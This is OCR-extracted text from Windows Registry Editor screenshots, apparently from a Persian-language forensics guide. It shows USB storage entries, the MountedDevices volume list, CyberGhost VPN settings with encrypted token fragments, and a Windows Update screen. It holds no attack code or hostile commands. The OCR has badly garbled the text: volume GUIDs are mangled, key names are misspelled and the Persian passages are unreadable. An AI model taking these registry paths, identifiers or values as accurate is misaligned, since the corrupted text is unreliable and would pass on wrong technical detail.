@disk.inf, %genmanufacturer%;(Standard disk d...
disk

Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSetO01\Enum\USBSTOR\Disk&Ven_hp&Prod_v220w&Rev_1100\0404090000009603&:0
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[ Registry Editor
File Edit View Favorites Help

WSearch A || Name Type
Waearchlagy 24\77\Volume{a8d5dd0f-cf1d-11e6-839b-201d48e48e2¢e} REG_BINARY '
"v:,“‘;‘;;:" 24)\?\Volume{a8dSdd11-cf1d-11e6-839b-a01d48ed2e2e} REG_BINARY !
i 4)\?\Volume{b1fa67a7-5ee7-11e5-82bc-a01d48e48e2e} REG_BINARY '
feil 84)\?\Volume{b1fa67a8-5ee7-11e5-82bc-a01d48e48e2e} REG_BINARY '
WUDFWpdFs S4)\7\Volume({b2741fa1-0fe3-11e5-82cf-a01d43e48e2e} REG_BINARY '
WUDFWpdMtp £24\77\Volume({b5093f37-2873-11e6-828-344b50b7ef31} REG_BINARY '
WwanSve £4\?\Volume{b651065b-19ad-11e6-82¢1-a01d48ed2e2e} REG_BINARY '
XblAuthManager $4\72\Volume{c14759b0-2206-11e5-82a1-a01d48e48e2¢} REG_BINARY '
XblGameSave £4)\?2\Volume{c1475b13-2206-11e5-82a1-a01d48e48e2¢} REG_BINARY '
xboxgip 24\7\Volume{c147677c-2206-11€5-82a1-a01d48e48e2e} REG_BINARY |
XboxNetApiSvc $24)\77\Volume{d2382b4b-65b7-11e5-82bf-301d48ed2e2e} REG_BINARY '
xinputhid 4)\?"\Volume{d2de20c1-f3dd-11e5-82da-a01d48ed8e2e} REG_BINARY '
xmlprov $4)\7\Volume{d2de2105-f3dd-11e5-82da-a01d48ed2e2e} REG_BINARY i
ZTEusbmdmék £4)\?\Volume{d8de258c-f3dd-11e5-82da-a01d48ed8e2e} REG_BINARY '
ZTEusbnet 4)\?\Volume{d9c72011-143¢-11e4-825¢-543530604c52} REG_BINARY '
ZTEusbnmea 4)\7\Volume{db45041a-3b58-11€5-82ad-a01d48e48e2¢} REG_BINARY '
ZTEushser6K £4]\27\Volume{db45234d-3b58-11e5-82ad-a01d48e48e2e} REG_BINARY '
pottware 24)\?\Volume{df308ca6-bcs- 11e5-82cd-a01d48e48e2¢e} REG_BINARY '
CurentContioliet 24)\77\Volume{e09e82b4- 542-11e4-8285-cfaf23e3354f} REG_BINARY '
a!‘r’::’;:cb:::g 24)\77\Volume{f08556cd-91ec-11e6-836e-a01d48ed3e2e} REG_BINARY !
- 4)\7\Volume{f91da747-cOcd-11€5-82d4-a01d48e48e2e} REG_BINARY '
Keyboard Eayout \DosDevices\C: REG_BINARY ‘
Maps |\DosDevices\D: REG_BINARY 4
e 5| \DosDevices\E: REG_BINARY 4
ResourceManager #5|\DosDevices\F: REG_BINARY 4
ResourcePolicyStore %o|\DosDevices\G: REG_BINARY 1
RNG #5|\DosDevices\H: REG_BINARY d
Select #5|\DosDevices\I: REG_BINARY 4
Setup o \DosDevices\W: REG_BINARY .
Software $5)\DosDevices\X: REG_BINARY '
WPA #o|\DosDevices\Y: REG_BINARY .
HKEY_USERS $4)\DosDevices\Z: REG_BINARY .

HKEY_CURRENT_CONFIG |

v«

Computer\HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices



B Registry Editor

File Edit View

Favorites Help

>..

----- WSearch ~

> - WSearchldxPi

$ wuauserv

{0 WudfPf

= WUDFRd

> wudfsvc

> - | WUDFWpdFs

> WUDFWpdMtp

> - WwanSvc

> - XblAuthManager

$ XblGameSave

> s xboxgip

y 5 XboxNetApiSvc

b xinputhid

> - xmlprov

feag ZTEusbmdmék

----- ZTEusbnet

i ZTEusbnmea

‘.. | ZTEusbser6K
Software

CurrentControlSet

DriverDatabase

HardwareConfig

Input

Keyboard Layout

Maps

MountedDevices

ResourceManager

RescurcePolicyStore

RNG

Select

Setup

Software

WPA

> - HKEY_USERS
> - HKEY_CURRENT_CONFIG

Name Type
£2]\??\Volume{a8d5dd0Of-cf1d-11e6-839b-a01d48e48e2¢e} REG_BINARY
i’-'ci]\77\Volume{an5dd1 1-cf1d-11e6-839b-al1d48e48e2e} REG_BINARY
'-’-'3]\77'\Volume{b1f367a7 See7-11e5-82bc-al1d48e48e2¢e} REG_BINARY
e J\"\Volume{b‘lf36738 5ee7-11e5-82bc-al1d48e48e2e} REG_BINARY
f-'«'»]\77\Vo|ume{b2741fa1 -Gfe3-11e5-82cf-al1d48e48el2e} REG_BINARY
°"]\77\Volume{b5093f37 2873-11e6-82e8-344b50b7ef31} REG_BINARY
no]\”\Volume{bGS‘l 065b-19ad-11e6-82e1-a01d48e48ele} REG_BINARY
°"]\77\Volume{c14759b0 2206-11e5-82a1-a01d48e48e2¢e} REG_BINARY
'-’-'«'g] \?A\Volume{c1475b13-2206-11e5-82a1-a01d48e48e2¢} REG_BINARY
°"]\""\Volume{c147677c 2206-11e5-82a1-a01d48ed8ele} REG_BINARY
?"]\77\Vo|ume{d2382b4b 65b7-11e5-82bf-al1d48e48e2e} REG_BINARY
"-'«'»J \?\Volume{d8de20c1-f3dd-11e5-82da-al1d48e48e2e} REG_BINARY
?-" VM\Volume{d8de2105-f3dd-11e5-82da-al1d48ed8ele} REG_BINARY
Wo ]\77\Vo|ume{d8de258c f3dd-11e5-82da-al1d48e48e2e} REG_BINARY
e ]\77\Volume{d9c72011 143e-11e4-825c-543530604c52} REG_BINARY
"-"J\”\Volume{db-45041 a-3b58-11e5-82ad-a01d48ed48ele} REG_BINARY
f-'-'o'] \Volume{db45234d-3b58-11e5-82ad-al1d48e48e2e} REG_BINARY
oo ]\77\Vo|ume{df308c36 9bcb-11e5-82cd-al1d48e48el¢e} REG_BINARY
‘-’-'«'»J\77\Volume{e09e82b4-c542 11e4-8285-cfaf23e3354f} REG_BINARY
°'iJ VI M\Volume{f08556cd-91ec-11e6-836e-a01d48ed8ele} REG_BINARY
f-'«';]\”\Volume{f91 da747-cOcd-11e5-82d4-a01d48e48e2e} REG_BINARY
#%]\DosDevices\C: REG_BINARY

i Ws|\DosDevices\D: REG_BINARY
$4)\DosDevices\E: REG_BINARY
2%]\DosDevices\F: REG_BINARY
24)\DosDevices\G: REG_BINARY
%’-%‘;]\DosDevices\H: REG_BINARY
‘-’-':'E] \DosDevices\: REG_BINARY
28 \DosDevices\W: REG_BINARY
£4)\DosDevices\X: REG_BINARY
_‘g’g'g] \DosDevices\Y: REG_BINARY
3’,-'5] \DosDevices\Z: REG_BINARY
<

Computer\HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
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olosle cusol e cly Wilg5 o g oas 8lsHKEY_CURRENT_USER\Software e ;> oS ol @
ol wlisl (¢l ,CyberGhost VPN I Sa a8 wi asgio g o a5 1> il atily (gaudo cle ML

B Registry Editor
File Edit View Favorites Help

v . SOFTWARE

7-Zip
AccessData
Acunetix

Adobe

AMD
AppDatalow
Apple Computer, Inc.
Apple Inc.

ATI

Bishop Fox
Bitdefender
BitTorrent
Blighty Design
Bogosoft

Cain
CamStudioOpenSource for Nick
Cisco

Classes

Clients
Compelson
CrypTool
csastats
CyberGhost
CyberLink
Cygwin

David Esperalta
Depicus
DestinyDream
DownloadManager
EaseUS
gj-technologies
Famatech
Google
Hewlett-Packard
HipSoft

184

Name

ab| (Default)

ab| BrowserProtection_BlockLists
ab| BrowserProtection_InterceptSsl
ab|BrowserProtection_NewUserAgent
ab|BrowserProtection_OverrideLanguage
ab| BrowserProtection_RemoveUserAgent
ab] ConnectionLostHandling

ab| DisablelpV6
ab|ENC_AuthToken

ab]ENC_ID
2b|ENC_Proxy_Password

$5| ExceptionlList

ab| FirstStart

ab|ForceGecko
ab||nstallBetaVersions
ab|JSLogLevel

ab) Language

ab|| oginServer

ab| MinimizeHintShownCount

ab| OverwriteSystemNs

ab| PreferTcp
ab|Proxy_HTTPAuth_Type

ab|Proxy Port

ab|Proxy_Type

ab| Proxy_URL

ab|Proxy_Username

ab] public_ABGrp
ab|pyblic_AutoConnect
ab|Public_ENC_ConnectedServerlD
ab| public_FallBackMode

ab| Public_featurestabhidden
ab|Public_GuiHandlesDisconnects
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<

Type
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_BINARY
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ

nre c7

Data

(value not set)

<ArrayOfString />

False

EMPTY

False

False

Reconnect

False
AQAAANCMnd8BFdERjHoAWE/Cl+sBAAAAQYT74PdZvC
AQAAANCMnd8BFdERjHoAWE/Cl+sBAAAAQYT4PdZVC
AQAAANCMnd8BFdERjHoAWE/Cl+sBAAAAqY74PdZvC
3c 0041007200 7200610079 00 4f 00 66 00 53 00 74 O(
False

False

False

3

en

rest.cyberghostvpn.com

1063

True

False

None

8080

None

0

False
AQAAANCMnd8BFdERjHoAWE/Cl+sBAAAAQYT4PdZVC
False

False

True

Fo2S

Computer\HKEY_CURRENT_USER\SOFTWARE\CyberGhost
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Windows Update

*Some settings are managed by your organization

You're up to date
Last checked: 1398/04/23, b.3 10:17

Check for updates K




